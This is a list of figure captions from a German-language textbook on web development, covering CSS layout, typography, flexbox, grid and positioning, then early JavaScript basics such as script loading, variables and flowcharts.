            Alle Personen am Spielfeld sind gleichwertig. Den Schiedsrichter erkennen wir lediglich daran, dass er keine Nummer trägt. Dafür kommen manche Nummern doppelt vor (z. B. 9, 10, 11).

                           
                        

                    
                        
                           [image: Nun sind die Spieler den Mannschaften (blau: Argentinien, grün: Frankreich) zugeordnet. Der Schiedsrichter sieht noch so aus wie zuvor.]
                           

                           Abbildung 6.5    
            Nun sind die Spieler den Mannschaften (blau: Argentinien, grün: Frankreich) zugeordnet. Der Schiedsrichter sieht noch so aus wie zuvor.

                           
                        

                    
                        
                           [image: Nun hat auch der Schiedsrichter eine Formatierung erhalten.]
                           

                           Abbildung 6.6    
            Nun hat auch der Schiedsrichter eine Formatierung erhalten.

                           
                        

                    
                        
                           [image: Die Selektion wählt sämtliche Anker a aus, die sich in beliebiger Verschachtelungstiefe in einem div befinden.]
                           

                           Abbildung 6.7    
            Die Selektion wählt sämtliche Anker a aus, die sich in beliebiger Verschachtelungstiefe in einem div befinden.

                           
                        

                    
                        
                           [image: Nun sind nur noch die direkten Kind-Anker eines div von der Selektion betroffen.]
                           

                           Abbildung 6.8    
            Nun sind nur noch die direkten Kind-Anker eines div von der Selektion betroffen.

                           
                        

                    
                        
                           [image: Das Beispiel beinhaltet nur ein folgendes Geschwister-Ankerelement zu einem »div«.]
                           

                           Abbildung 6.9    
            Das Beispiel beinhaltet nur ein folgendes Geschwister-Ankerelement zu einem »div«.

                           
                        

                    
                        
                           [image: Wenn alle folgenden Geschwister-Ankerelemente zu einem »div« ausgewählt werden, ergibt das ein ausgewähltes Ankerelement mehr.]
                           

                           Abbildung 6.10    
            Wenn alle folgenden Geschwister-Ankerelemente zu einem »div« ausgewählt werden, ergibt das ein ausgewähltes Ankerelement mehr.

                           
                        

                    
                        
                           [image: Mozilla sagt, dass die »future«-Pseudoklasse noch nicht verwendbar ist, da sie bis dato nur von Safari unterstützt wird.]
                           

                           Abbildung 6.11    
            Mozilla sagt, dass die »future«-Pseudoklasse noch nicht verwendbar ist, da sie bis dato nur von Safari unterstützt wird.

                           
                        

                    
                        
                           [image: Die Website »caniuse.com« behauptet dasselbe wie die Developer-Site von Mozilla.]
                           

                           Abbildung 6.12    
            Die Website »caniuse.com« behauptet dasselbe wie die Developer-Site von Mozilla.

                           
                        

                    
                        
                           [image: Sehen Sie’s auch? Was ist mit der Textarea und dem Button? Erben die nicht die Schriftfarbe und -familie?]
                           

                           Abbildung 6.13    
            Sehen Sie’s auch? Was ist mit der Textarea und dem Button? Erben die nicht die Schriftfarbe und -familie?

                           
                        

                    
                        
                           [image: Und zack: Die gewünschten Eigenschaften wurden vererbt, und alles ist im Fluss.]
                           

                           Abbildung 6.14    
            Und zack: Die gewünschten Eigenschaften wurden vererbt, und alles ist im Fluss.

                           
                        

                    
                        
                           [image: Die Eigenschaften einer Box]
                           

                           Abbildung 6.15    
            Die Eigenschaften einer Box

                           
                        

                    
                        
                           [image: Darstellung der unterschiedlichen Overflow-Arten. Beachten Sie die Darstellung der Scrollbars.]
                           

                           Abbildung 6.16    
            Darstellung der unterschiedlichen Overflow-Arten. Beachten Sie die Darstellung der Scrollbars.

                           
                        

                    
                        
                           [image: Das Content-Box-Modell berücksichtigt Breiten- und Höhenangaben für die Content Box.]
                           

                           Abbildung 6.17    
            Das Content-Box-Modell berücksichtigt Breiten- und Höhenangaben für die Content Box.

                           
                        

                    
                        
                           [image: Das Border-Box-Modell berücksichtigt Breiten- und Höhenangaben für die Border Box.]
                           

                           Abbildung 6.18    
            Das Border-Box-Modell berücksichtigt Breiten- und Höhenangaben für die Border Box.

                           
                        

                    
                        
                           [image: Die eingefügten Boxen verhalten sich wie erwartet: Weil es sich allesamt um Block-Elemente handelt, werden sie per Definition untereinander aufgelistet dargestellt.]
                           

                           Abbildung 6.19    
            Die eingefügten Boxen verhalten sich wie erwartet: Weil es sich allesamt um Block-Elemente handelt, werden sie per Definition untereinander aufgelistet dargestellt.

                           
                        

                    
                        
                           [image: Die Änderung von display:block in display:flex hat große Auswirkungen auf die sich im Container C befindlichen Elemente, aber nicht auf C selbst. Spannend …]
                           

                           Abbildung 6.20    
            Die Änderung von display:block in display:flex hat große Auswirkungen auf die sich im Container C befindlichen Elemente, aber nicht auf C selbst. Spannend …

                           
                        

                    
                        
                           [image: Ein Set an websicheren Schriften. Beachten Sie, dass diese Auswahl nicht in Stein gemeißelt ist.]
                           

                           Abbildung 6.21    
            Ein Set an websicheren Schriften. Beachten Sie, dass diese Auswahl nicht in Stein gemeißelt ist.

                           
                        

                    
                        
                           [image: Obwohl alle drei Buchstaben horizontal gleich weit voneinander entfernt sind, wirkt es so, als wäre das A weiter vom V entfernt als das V vom M. Der Grund verbirgt sich im Kerning.]
                           

                           Abbildung 6.22    
            Obwohl alle drei Buchstaben horizontal gleich weit voneinander entfernt sind, wirkt es so, als wäre das A weiter vom V entfernt als das V vom M. Der Grund verbirgt sich im Kerning.

                           
                        

                    
                        
                           [image: Bei aktivem Kerning wirkt das Schriftbild wesentlich harmonischer: Die Platzbereiche des A und des V überschneiden sich.]
                           

                           Abbildung 6.23    
            Bei aktivem Kerning wirkt das Schriftbild wesentlich harmonischer: Die Platzbereiche des A und des V überschneiden sich.

                           
                        

                    
                        
                           [image: Die wesentlichen Größen, Höhen und Weiten einer Schrift – zumindest für den Gebrauch durch den Webdesigner.]
                           

                           Abbildung 6.24    
            Die wesentlichen Größen, Höhen und Weiten einer Schrift – zumindest für den Gebrauch durch den Webdesigner.

                           
                        

                    
                        
                           [image: Unterschiedliche Darstellungsgrößen bei identischer Schriftgröße im Fall von Schriften, die häufig im Druckbereich zum Einsatz kommen.]
                           

                           Abbildung 6.25    
            Unterschiedliche Darstellungsgrößen bei identischer Schriftgröße im Fall von Schriften, die häufig im Druckbereich zum Einsatz kommen.

                           
                        

                    
                        
                           [image: Auch bei den typischen Webschriften ergeben sich Unterschiede in der Darstellungsgröße bei – wohlgemerkt – identischer Schriftgröße.]
                           

                           Abbildung 6.26    
            Auch bei den typischen Webschriften ergeben sich Unterschiede in der Darstellungsgröße bei – wohlgemerkt – identischer Schriftgröße.

                           
                        

                    
                        
                           [image: Serifenschriften wie die Georgia lassen sich mit wenigen Pixeln schlecht darstellen.]
                           

                           Abbildung 6.27    
            Serifenschriften wie die Georgia lassen sich mit wenigen Pixeln schlecht darstellen.

                           
                        

                    
                        
                           [image: Serifenlose Schriften wie die Verdana eignen sich besser, wenn nur wenige Pixel zur Verfügung stehen.]
                           

                           Abbildung 6.28    
            Serifenlose Schriften wie die Verdana eignen sich besser, wenn nur wenige Pixel zur Verfügung stehen.

                           
                        

                    
                        
                           [image: Die (mehr oder weniger) sicheren Webschriften im Vergleich]
                           

                           Abbildung 6.29    
            Die (mehr oder weniger) sicheren Webschriften im Vergleich

                           
                        

                    
                        
                           [image: Texte mit Farbverläufen sind eigentlich ein Fake: Nicht die Schriftfarbe wird definiert, sondern eine Hintergrundfarbe, die auf den Text angewandt wird.]
                           

                           Abbildung 6.30    
            Texte mit Farbverläufen sind eigentlich ein Fake: Nicht die Schriftfarbe wird definiert, sondern eine Hintergrundfarbe, die auf den Text angewandt wird.

                           
                        

                    
                        
                           [image: Nachdem Sie die Schriftgröße angepasst und die Schriftvariante gewählt haben, können Sie die dargestellten Schriften gleich besser miteinander vergleichen.]
                           

                           Abbildung 6.31    
            Nachdem Sie die Schriftgröße angepasst und die Schriftvariante gewählt haben, können Sie die dargestellten Schriften gleich besser miteinander vergleichen.

                           
                        

                    
                        
                           [image: Im Detailfenster zur Schrift finden Sie den Code, um die Schrift einzubetten.]
                           

                           Abbildung 6.32    
            Im Detailfenster zur Schrift finden Sie den Code, um die Schrift einzubetten.

                           
                        

                    
                        
                           [image: Schriftwahl über die Einbettung statischer und variabler Schriften]
                           

                           Abbildung 6.33    
            Schriftwahl über die Einbettung statischer und variabler Schriften

                           
                        

                    
                        
                           [image: Ein von Text umflossenes Bild macht sich auch auf Websites gut.]
                           

                           Abbildung 6.34    
            Ein von Text umflossenes Bild macht sich auch auf Websites gut.

                           
                        

                    
                        
                           [image: Umflossene Elemente tragen nicht zur Höhe des umschließenden Elements bei, wie aus der Darstellung der Hintergrundfarbe ersichtlich wird.]
                           

                           Abbildung 6.35    
            Umflossene Elemente tragen nicht zur Höhe des umschließenden Elements bei, wie aus der Darstellung der Hintergrundfarbe ersichtlich wird.

                           
                        

                    
                        
                           [image: »overflow:hidden;« als Problemlöser]
                           

                           Abbildung 6.36    
            »overflow:hidden;« als Problemlöser

                           
                        

                    
                        
                           [image: Zu umfließende (»gefloatete«) Elemente werden so lange von Inhalt umflossen, wie Inhalt bereitsteht.]
                           

                           Abbildung 6.37    
            Zu umfließende (»gefloatete«) Elemente werden so lange von Inhalt umflossen, wie Inhalt bereitsteht.

                           
                        

                    
                        
                           [image: Die Eigenschaft »clear« eliminiert (löscht) ein eventuell vorhandenes Umfließen.]
                           

                           Abbildung 6.38    
            Die Eigenschaft »clear« eliminiert (löscht) ein eventuell vorhandenes Umfließen.

                           
                        

                    
                        
                           [image: Die »background-origin« für das Hintergrundbild sowie den Hintergrundverlauf; die Hintergrundfarbe ignoriert diese Eigenschaft.]
                           

                           Abbildung 6.39    
            Die »background-origin« für das Hintergrundbild sowie den Hintergrundverlauf; die Hintergrundfarbe ignoriert diese Eigenschaft.

                           
                        

                    
                        
                           [image: Durch das Anpassen der Eigenschaft »background-clip« können wir nun auch steuern, wo der Hintergrund dargestellt werden soll.]
                           

                           Abbildung 6.40    
            Durch das Anpassen der Eigenschaft »background-clip« können wir nun auch steuern, wo der Hintergrund dargestellt werden soll.

                           
                        

                    
                        
                           [image: Lineare Gradienten-Spielerei, Teil 1]
                           

                           Abbildung 6.41    
            Lineare Gradienten-Spielerei, Teil 1

                           
                        

                    
                        
                           [image: Ein Gradient, der nicht wie ein Gradient aussieht. Gradienten-Spielerei, Teil 2]
                           

                           Abbildung 6.42    
            Ein Gradient, der nicht wie ein Gradient aussieht. Gradienten-Spielerei, Teil 2

                           
                        

                    
                        
                           [image: Die »beste« Website zum Generieren von Gradienten]
                           

                           Abbildung 6.43    
            Die »beste« Website zum Generieren von Gradienten

                           
                        

                    
                        
                           [image: Statisch positionierte Elemente kümmern sich nicht um Offset-Angaben.]
                           

                           Abbildung 6.44    
            Statisch positionierte Elemente kümmern sich nicht um Offset-Angaben.

                           
                        

                    
                        
                           [image: Relativ positionierte Elemente erlauben einen Offset, wodurch es zu Überlappungen von Elementen kommen kann, da sich die vorangegangenen bzw. folgenden Elemente nicht von der Stelle rühren.]
                           

                           Abbildung 6.45    
            Relativ positionierte Elemente erlauben einen Offset, wodurch es zu Überlappungen von Elementen kommen kann, da sich die vorangegangenen bzw. folgenden Elemente nicht von der Stelle rühren.

                           
                        

                    
                        
                           [image: Absolut positionierte Elemente ohne Angabe einer Größe schrumpfen auf die minimal benötigte Größe zusammen. Ganz allgemein gilt, dass sie sich aus dem Fluss der Elemente herausnehmen.]
                           

                           Abbildung 6.46    
            Absolut positionierte Elemente ohne Angabe einer Größe schrumpfen auf die minimal benötigte Größe zusammen. Ganz allgemein gilt, dass sie sich aus dem Fluss der Elemente herausnehmen.

                           
                        

                    
                        
                           [image: Nun ist das absolut positionierte Element mit allen üblichen Angaben versehen; lediglich eine Angabe des »z-index« fehlt noch. Sie ist jedoch nicht zwingend erforderlich.]
                           

                           Abbildung 6.47    
            Nun ist das absolut positionierte Element mit allen üblichen Angaben versehen; lediglich eine Angabe des »z-index« fehlt noch. Sie ist jedoch nicht zwingend erforderlich.

                           
                        

                    
                        
                           [image: Auch dieses absolut positionierte Element orientiert sich zunächst am »body« (dem ihm in der Hierarchie nächsten Element, das nicht statisch positioniert ist).]
                           

                           Abbildung 6.48    
            Auch dieses absolut positionierte Element orientiert sich zunächst am »body« (dem ihm in der Hierarchie nächsten Element, das nicht statisch positioniert ist).

                           
                        

                    
                        
                           [image: Sobald das übergeordnete Element nicht mehr statisch positioniert ist, richtet sich das untergeordnete Element an ihm aus.]
                           

                           Abbildung 6.49    
            Sobald das übergeordnete Element nicht mehr statisch positioniert ist, richtet sich das untergeordnete Element an ihm aus.

                           
                        

                    
                        
                           [image: Mit »fixed« positionierte Elemente scrollen nicht mit dem restlichen Inhalt mit.]
                           

                           Abbildung 6.50    
            Mit »fixed« positionierte Elemente scrollen nicht mit dem restlichen Inhalt mit.

                           
                        

                    
                        
                           [image: Mit »sticky« positionierte Elemente scrollen mit dem Content mit, bis sie ihre definierte Grenze erreicht haben. Beachten Sie auch die Scrollposition.]
                           

                           Abbildung 6.51    
            Mit »sticky« positionierte Elemente scrollen mit dem Content mit, bis sie ihre definierte Grenze erreicht haben. Beachten Sie auch die Scrollposition.

                           
                        

                    
                        
                           [image: Das Element 7 bleibt ein »em« vor der oberen Viewport-Kante kleben.]
                           

                           Abbildung 6.52    
            Das Element 7 bleibt ein »em« vor der oberen Viewport-Kante kleben.

                           
                        

                    
                        
                           [image: Der z-Index definiert die dritte Dimension (z-Achse) und somit eine Art Schichten, die vor (bzw. hinter) der Bildschirmoberfläche liegen.]
                           

                           Abbildung 6.53    
            Der z-Index definiert die dritte Dimension (z-Achse) und somit eine Art Schichten, die vor (bzw. hinter) der Bildschirmoberfläche liegen.

                           
                        

                    
                        
                           [image: Von der Verschachtelung der Elemente her identisch, von der Darstellung her (noch) unterschiedlich.]
                           

                           Abbildung 6.54    
            Von der Verschachtelung der Elemente her identisch, von der Darstellung her (noch) unterschiedlich.

                           
                        

                    
                        
                           [image: Die beiden Tabellen ähneln sich aufs Haar. Eine davon ist aber gar keine Tabelle, sondern wird nur tabellenartig dargestellt.]
                           

                           Abbildung 6.55    
            Die beiden Tabellen ähneln sich aufs Haar. Eine davon ist aber gar keine Tabelle, sondern wird nur tabellenartig dargestellt.

                           
                        

                    
                        
                           [image: Table-driven Design einmal falsch (da mittels <table> erstellt) und einmal richtig. Auf die korrekte Semantik kommt es an!]
                           

                           Abbildung 6.56    
            Table-driven Design einmal falsch (da mittels <table> erstellt) und einmal richtig. Auf die korrekte Semantik kommt es an!

                           
                        

                    
                        
                           [image: Auch Absätze können listenartig dargestellt werden.]
                           

                           Abbildung 6.57    
            Auch Absätze können listenartig dargestellt werden.

                           
                        

                    
                        
                           [image: Der Listenpunkt ist nun im Absatz integriert, wodurch ein Linksabstand nicht mehr benötigt wird.]
                           

                           Abbildung 6.58    
            Der Listenpunkt ist nun im Absatz integriert, wodurch ein Linksabstand nicht mehr benötigt wird.

                           
                        

                    
                        
                           [image: Einmal anders formatierte Listenpunkte inklusive Hover-Effekt]
                           

                           Abbildung 6.59    
            Einmal anders formatierte Listenpunkte inklusive Hover-Effekt

                           
                        

                    
                        
                           [image: Die automatische Nummerierung von Kapiteln ist eine unglaubliche Erleichterung, wenn sich der Content häufig ändert.]
                           

                           Abbildung 6.60    
            Die automatische Nummerierung von Kapiteln ist eine unglaubliche Erleichterung, wenn sich der Content häufig ändert.

                           
                        

                    
                        
                           [image: Die nummerierte Liste aus dem vorangegangenen Abschnitt erhält nun auch eine Individualnummerierung. Bewegt der User den Mauszeiger über einen Listenpunkt, so wird das Hovering aktiv und der Listenpunkt rot markiert.]
                           

                           Abbildung 6.61    
            Die nummerierte Liste aus dem vorangegangenen Abschnitt erhält nun auch eine Individualnummerierung. Bewegt der User den Mauszeiger über einen Listenpunkt, so wird das Hovering aktiv und der Listenpunkt rot markiert.

                           
                        

                    
                        
                           [image: Die Darstellung von normalen Block-Elementen war zu erwarten.]
                           

                           Abbildung 6.62    
            Die Darstellung von normalen Block-Elementen war zu erwarten.

                           
                        

                    
                        
                           [image: Die Elemente innerhalb der Flexbox richten sich nun neu aus.]
                           

                           Abbildung 6.63    
            Die Elemente innerhalb der Flexbox richten sich nun neu aus.

                           
                        

                    
                        
                           [image: Die erste Flexbox zeigt die Standarddarstellung von »flex-direction (row)«; die zweite Flexbox verwendet »row-reverse«; die beiden darunterstehenden Flexboxen setzen »column« bzw. »column-reverse« ein.]
                           

                           Abbildung 6.64    
            Die erste Flexbox zeigt die Standarddarstellung von »flex-direction (row)«; die zweite Flexbox verwendet »row-reverse«; die beiden darunterstehenden Flexboxen setzen »column« bzw. »column-reverse« ein.

                           
                        

                    
                        
                           [image: »align-items« schlagen sich im Falle von »flex-direction:row« (oder »flex-direction:row-reverse«) in der vertikalen Richtung nieder. Würde man »flex-direction:column« (oder »column-reverse«) verwenden, so würde »align-items« die horizontale Richtung betreffen.]
                           

                           Abbildung 6.65    
            »align-items« schlagen sich im Falle von »flex-direction:row« (oder »flex-direction:row-reverse«) in der vertikalen Richtung nieder. Würde man »flex-direction:column« (oder »column-reverse«) verwenden, so würde »align-items« die horizontale Richtung betreffen.

                           
                        

                    
                        
                           [image: Sämtliche Boxen stehen nebeneinander – es ist ja auch ausreichend Platz zur Verfügung.]
                           

                           Abbildung 6.66    
            Sämtliche Boxen stehen nebeneinander – es ist ja auch ausreichend Platz zur Verfügung.

                           
                        

                    
                        
                           [image: Die Flexbox ist zu klein für den Inhalt, weshalb der Inhalt über die Box hinausschießt. Lediglich der Scrollbar ermöglicht es, den Inhalt noch betrachten zu können.]
                           

                           Abbildung 6.67    
            Die Flexbox ist zu klein für den Inhalt, weshalb der Inhalt über die Box hinausschießt. Lediglich der Scrollbar ermöglicht es, den Inhalt noch betrachten zu können.

                           
                        

                    
                        
                           [image: Die Eigenschaft »flex-shrink« erlaubt, dass sich die Flex-Items auf den benötigten Platz verkleinern, sollte dies notwendig sein.]
                           

                           Abbildung 6.68    
            Die Eigenschaft »flex-shrink« erlaubt, dass sich die Flex-Items auf den benötigten Platz verkleinern, sollte dies notwendig sein.

                           
                        

                    
                        
                           [image: Mithilfe von »flex-wrap« wird es möglich, dass die Flex-Items eine neue Zeile bilden (oder auch eine neue Spalte im Falle von »flex-direction:column;«).]
                           

                           Abbildung 6.69    
            Mithilfe von »flex-wrap« wird es möglich, dass die Flex-Items eine neue Zeile bilden (oder auch eine neue Spalte im Falle von »flex-direction:column;«).

                           
                        

                    
                        
                           [image: Die Eigenschaft »justify-content« definiert, wie die Elemente horizontal ausgerichtet werden. Sollte die »flex-direction« auf »column« (oder »column-reverse«) gesetzt sein, gilt dies natürlich für die vertikale Ausrichtung.]
                           

                           Abbildung 6.70    
            Die Eigenschaft »justify-content« definiert, wie die Elemente horizontal ausgerichtet werden. Sollte die »flex-direction« auf »column« (oder »column-reverse«) gesetzt sein, gilt dies natürlich für die vertikale Ausrichtung.

                           
                        

                    
                        
                           [image: »justify-content:space-evenly« teilt den verbleibenden Platz gleichmäßig auf.]
                           

                           Abbildung 6.71    
            »justify-content:space-evenly« teilt den verbleibenden Platz gleichmäßig auf.

                           
                        

                    
                        
                           [image: Noch ist kein Grid zu erkennen.]
                           

                           Abbildung 6.72    
            Noch ist kein Grid zu erkennen.

                           
                        

                    
                        
                           [image: Weil sowohl die Spalten als auch die Zeilen teilweise relativ angegeben sind, nutzt das Grid den gesamten ihm zur Verfügung stehenden Platz aus: 100 % in der Breite, 70 vh in der Höhe.]
                           

                           Abbildung 6.73    
            Weil sowohl die Spalten als auch die Zeilen teilweise relativ angegeben sind, nutzt das Grid den gesamten ihm zur Verfügung stehenden Platz aus: 100 % in der Breite, 70 vh in der Höhe.

                           
                        

                    
                        
                           [image: Ein Grid mit definierten Areas. Zwei Plätze sind frei geblieben.]
                           

                           Abbildung 6.74    
            Ein Grid mit definierten Areas. Zwei Plätze sind frei geblieben.

                           
                        

                    
                        
                           [image: Die unbenannten Plätze werden von den Elementen belegt, denen keine Area zugewiesen wurde.]
                           

                           Abbildung 6.75    
            Die unbenannten Plätze werden von den Elementen belegt, denen keine Area zugewiesen wurde.

                           
                        

                    
                        
                           [image: Elemente, die keinen Platz mehr finden, eröffnen neue Cells und somit gegebenenfalls auch Rows]
                           

                           Abbildung 6.76    
            Elemente, die keinen Platz mehr finden, eröffnen neue Cells und somit gegebenenfalls auch Rows

                           
                        

                    
                        
                           [image: Bei eingeblendetem Grid (Tipp: Entwicklerkonsole • Grid-Element anwählen und auf »grid« klicken) sieht man gut, wie sich die Grid-Items bei den ausgewählten Eigenschaften verhalten.]
                           

                           Abbildung 6.77    
            Bei eingeblendetem Grid (Tipp: Entwicklerkonsole • Grid-Element anwählen und auf »grid« klicken) sieht man gut, wie sich die Grid-Items bei den ausgewählten Eigenschaften verhalten.

                           
                        

                    
                        
                           [image: Ein Grid, wie wir es erwartet haben: Die erste Spalte nimmt sich den zur Verfügung stehenden Rest, die zweite Spalte hat eine fixe Breite von 15 em.]
                           

                           Abbildung 6.78    
            Ein Grid, wie wir es erwartet haben: Die erste Spalte nimmt sich den zur Verfügung stehenden Rest, die zweite Spalte hat eine fixe Breite von 15 em.

                           
                        

                    
                        
                           [image: Das viel zu große Bild zerstört unser Grid. Mit einer »max-width« von 100 % für das Bild bekommen wir das Problem aber leicht in den Griff.]
                           

                           Abbildung 6.79    
            Das viel zu große Bild zerstört unser Grid. Mit einer »max-width« von 100 % für das Bild bekommen wir das Problem aber leicht in den Griff.

                           
                        

                    
                        
                           [image: »max-width:100%« löst das Problem. Aber warten wir mal ab ...]
                           

                           Abbildung 6.80    
            »max-width:100%« löst das Problem. Aber warten wir mal ab ...

                           
                        

                    
                        
                           [image: Das <pre> versalzt uns wiederum die Suppe.]
                           

                           Abbildung 6.81    
            Das <pre> versalzt uns wiederum die Suppe.

                           
                        

                    
                        
                           [image: Passt und sitzt: Definieren wir eine minimale Breite, so haben wir das Problem gelöst. Grid-Blowout adé.]
                           

                           Abbildung 6.82    
            Passt und sitzt: Definieren wir eine minimale Breite, so haben wir das Problem gelöst. Grid-Blowout adé.

                           
                        

                    
                        
                           [image: Aktuell sieht noch nichts nach Parallax-Effekt aus. Das kommt aber noch.]
                           

                           Abbildung 6.83    
            Aktuell sieht noch nichts nach Parallax-Effekt aus. Das kommt aber noch.

                           
                        

                    
                        
                           [image: Die Wirkung des Parallax-Effekts]
                           

                           Abbildung 6.84    
            Die Wirkung des Parallax-Effekts

                           
                        

                    
                        
                           [image: Ein mittig platziertes Rechteck mithilfe von CSS-Variablen und der »calc«‐Methode]
                           

                           Abbildung 6.85    
            Ein mittig platziertes Rechteck mithilfe von CSS-Variablen und der »calc«‐Methode

                           
                        

                    
                        
                           [image: In der Normaldarstellung ist die einfache Größe von Checkbox und Button ausreichend.]
                           

                           Abbildung 6.86    
            In der Normaldarstellung ist die einfache Größe von Checkbox und Button ausreichend.

                           
                        

                    
                        
                           [image: Eine vergrößerte Checkbox und ein vergrößerter Button für das grobe Zeigegerät. Schließlich soll unser User die Bedienelemente auch treffen können.]
                           

                           Abbildung 6.87    
            Eine vergrößerte Checkbox und ein vergrößerter Button für das grobe Zeigegerät. Schließlich soll unser User die Bedienelemente auch treffen können.

                           
                        

                    
                        
                           [image: Der obige Absatz zeigt die Darstellung eines Links für ein feines Zeigegerät; der untere Absatz hingegen zeigt einen Link für grobe Zeigegeräte.]
                           

                           Abbildung 6.88    
            Der obige Absatz zeigt die Darstellung eines Links für ein feines Zeigegerät; der untere Absatz hingegen zeigt einen Link für grobe Zeigegeräte.

                           
                        

                    
                        
                           [image: Die hohe Pixeldichte des MacBook Pro (221 ppi) ergibt die Darstellung eines schwarzen Hintergrundes mit weißer Schrift wie in der Media Query vorgesehen.]
                           

                           Abbildung 6.89    
            Die hohe Pixeldichte des MacBook Pro (221 ppi) ergibt die Darstellung eines schwarzen Hintergrundes mit weißer Schrift wie in der Media Query vorgesehen.

                           
                        

                    
                        
                           [image: Einstellungen zum Erscheinungsbild unter macOS Ventura]
                           

                           Abbildung 6.90    
            Einstellungen zum Erscheinungsbild unter macOS Ventura

                           
                        

                    
                        
                           [image: Neben dem DOM baut der Browser auch ein CSS Object Model (CSSOM) auf.]
                           

                           Abbildung 6.91    
            Neben dem DOM baut der Browser auch ein CSS Object Model (CSSOM) auf.

                           
                        

                    
                        
                           [image: Der Render Tree zeigt, welchen Elementen welche Regeln zugewiesen werden. Ausgeblendete Elemente werden nicht in den Render Tree aufgenommen.]
                           

                           Abbildung 6.92    
            Der Render Tree zeigt, welchen Elementen welche Regeln zugewiesen werden. Ausgeblendete Elemente werden nicht in den Render Tree aufgenommen.

                           
                        

                    
                        
                           [image: Die Animation zu Beginn, etwa zur Halbzeit und am Ende]
                           

                           Abbildung 6.93    
            Die Animation zu Beginn, etwa zur Halbzeit und am Ende

                           
                        

                    
                        
                           [image: Erste Schritte in JavaScript: Die Ausgabekonsole dient als Hilfsmittel für einfache Ausgaben.]
                           

                           Abbildung 7.1    
            Erste Schritte in JavaScript: Die Ausgabekonsole dient als Hilfsmittel für einfache Ausgaben.

                           
                        

                    
                        
                           [image: Wo ist unser Absatz geblieben?]
                           

                           Abbildung 7.2    
            Wo ist unser Absatz geblieben?

                           
                        

                    
                        
                           [image: Nun sind sowohl der Absatz als auch die Ausgabe in der Entwicklerkonsole vorhanden. Der im Screenshot dargestellte Code soll lediglich zum Vergleich mit dem Ergebnis dienen.]
                           

                           Abbildung 7.3    
            Nun sind sowohl der Absatz als auch die Ausgabe in der Entwicklerkonsole vorhanden. Der im Screenshot dargestellte Code soll lediglich zum Vergleich mit dem Ergebnis dienen.

                           
                        

                    
                        
                           [image: Simulation eines Scripts ohne »defer« vor dem Laden …]
                           

                           Abbildung 7.4    
            Simulation eines Scripts ohne »defer« vor dem Laden …
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                           Abbildung 7.5    
            … und nach dem Laden.

                           
                        

                    
                        
                           [image: Simulation eines Scripts mit »defer« vor dem Laden …]
                           

                           Abbildung 7.6    
            Simulation eines Scripts mit »defer« vor dem Laden …
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                           Abbildung 7.7    
            … und nach dem Laden.

                           
                        

                    
                        
                           [image: Obwohl die erste Datei fünf Sekunden und die zweite Datei nur eine Sekunde zum Laden benötigt, wird der Code der ersten (langsameren) Datei zuerst ausgeführt, wie die Entwicklerkonsole zeigt.]
                           

                           Abbildung 7.8    
            Obwohl die erste Datei fünf Sekunden und die zweite Datei nur eine Sekunde zum Laden benötigt, wird der Code der ersten (langsameren) Datei zuerst ausgeführt, wie die Entwicklerkonsole zeigt.

                           
                        

                    
                        
                           [image: Im Fall des asynchronen Ladens spielt die Ladereihenfolge keine Rolle mehr: Hier gilt »first come, first serve«.]
                           

                           Abbildung 7.9    
            Im Fall des asynchronen Ladens spielt die Ladereihenfolge keine Rolle mehr: Hier gilt »first come, first serve«.

                           
                        

                    
                        
                           [image: Synchron vs. asynchron vs. defer-asynchron. Jede Variante hat ihre Daseinsberechtigung.]
                           

                           Abbildung 7.10    
            Synchron vs. asynchron vs. defer-asynchron. Jede Variante hat ihre Daseinsberechtigung.

                           
                        

                    
                        
                           [image: Eine Variable als Behälter: Der Behälter bekommt einen Namen sowie einen Wert zugewiesen. Der Typ des Wertes (»Wasser«) ergibt sich erst durch die Wertzuweisung und kann vorab nicht festgelegt werden. Einheiten (»ml«) werden nicht gespeichert.]
                           

                           Abbildung 7.11    
            Eine Variable als Behälter: Der Behälter bekommt einen Namen sowie einen Wert zugewiesen. Der Typ des Wertes (»Wasser«) ergibt sich erst durch die Wertzuweisung und kann vorab nicht festgelegt werden. Einheiten (»ml«) werden nicht gespeichert.

                           
                        

                    
                        
                           [image: Schlechte Angewohnheit: Neben einem neuen Wert wird der Variablen auch ein anderer Typ zugewiesen.]
                           

                           Abbildung 7.12    
            Schlechte Angewohnheit: Neben einem neuen Wert wird der Variablen auch ein anderer Typ zugewiesen.

                           
                        

                    
                        
                           [image: Gute Angewohnheit: Der Variablen wird lediglich ein neuer Wert, jedoch kein neuer Typ zugewiesen.]
                           

                           Abbildung 7.13    
            Gute Angewohnheit: Der Variablen wird lediglich ein neuer Wert, jedoch kein neuer Typ zugewiesen.

                           
                        

                    
                        
                           [image: Eine lokale Variable ist außerhalb ihres Gültigkeitsbereichs nicht verfügbar, weshalb wir einen »Reference Error« erhalten]
                           

                           Abbildung 7.14    
            Eine lokale Variable ist außerhalb ihres Gültigkeitsbereichs nicht verfügbar, weshalb wir einen »Reference Error« erhalten

                           
                        

                    
                        
                           [image: Die Konkatenation, also das Verbinden zweier Strings, in JavaScript und PHP. Während in JavaScript (leider) das Symbol »+« verwendet wird, setzt PHP auf den Punkt ».«.]
                           

                           Abbildung 7.15    
            Die Konkatenation, also das Verbinden zweier Strings, in JavaScript und PHP. Während in JavaScript (leider) das Symbol »+« verwendet wird, setzt PHP auf den Punkt ».«.

                           
                        

                    
                        
                           [image: &&, das logische Und]
                           

                           Abbildung 7.16    
            &&, das logische Und

                           
                        

                    
                        
                           [image: ||, das logische Oder]
                           

                           Abbildung 7.17    
            ||, das logische Oder

                           
                        

                    
                        
                           [image: In manchen Fällen ist eine Typumwandlung sogar erwünscht.]
                           

                           Abbildung 7.18    
            In manchen Fällen ist eine Typumwandlung sogar erwünscht.
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                           Abbildung 7.19    
            Codeblock
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                           Abbildung 7.20    
            Entscheidung

                           
                        

                    
                        
                           [image: Ein erstes Flussdiagramm: Es stellt den obigen Code grafisch dar.]
                           

                           Abbildung 7.21    
            Ein erstes Flussdiagramm: Es stellt den obigen Code grafisch dar.

                           
                        

                    
                        
                           [image: Das Flussdiagramm für eine verschachtelte »if«-Anweisung kann schon etwas größer werden.]
                           

                           Abbildung 7.22    
            Das Flussdiagramm für eine verschachtelte »if«-Anweisung kann schon etwas größer werden.

                           
                        

                    
                        
                           [image: Das Flussdiagramm einer »for«-Schleife zeigt recht deutlich, wie es zu dem Begriff »Schleife« kommt: Der Code läuft im Kreis.]
                           

                           Abbildung 7.23    
            Das Flussdiagramm einer »for«-Schleife zeigt recht deutlich, wie es zu dem Begriff »Schleife« kommt: Der Code läuft im Kreis.

                           
                        

                    
                        
                           [image: Die Deklaration der Zählvariable mit »var« ist generell nicht zu empfehlen.]
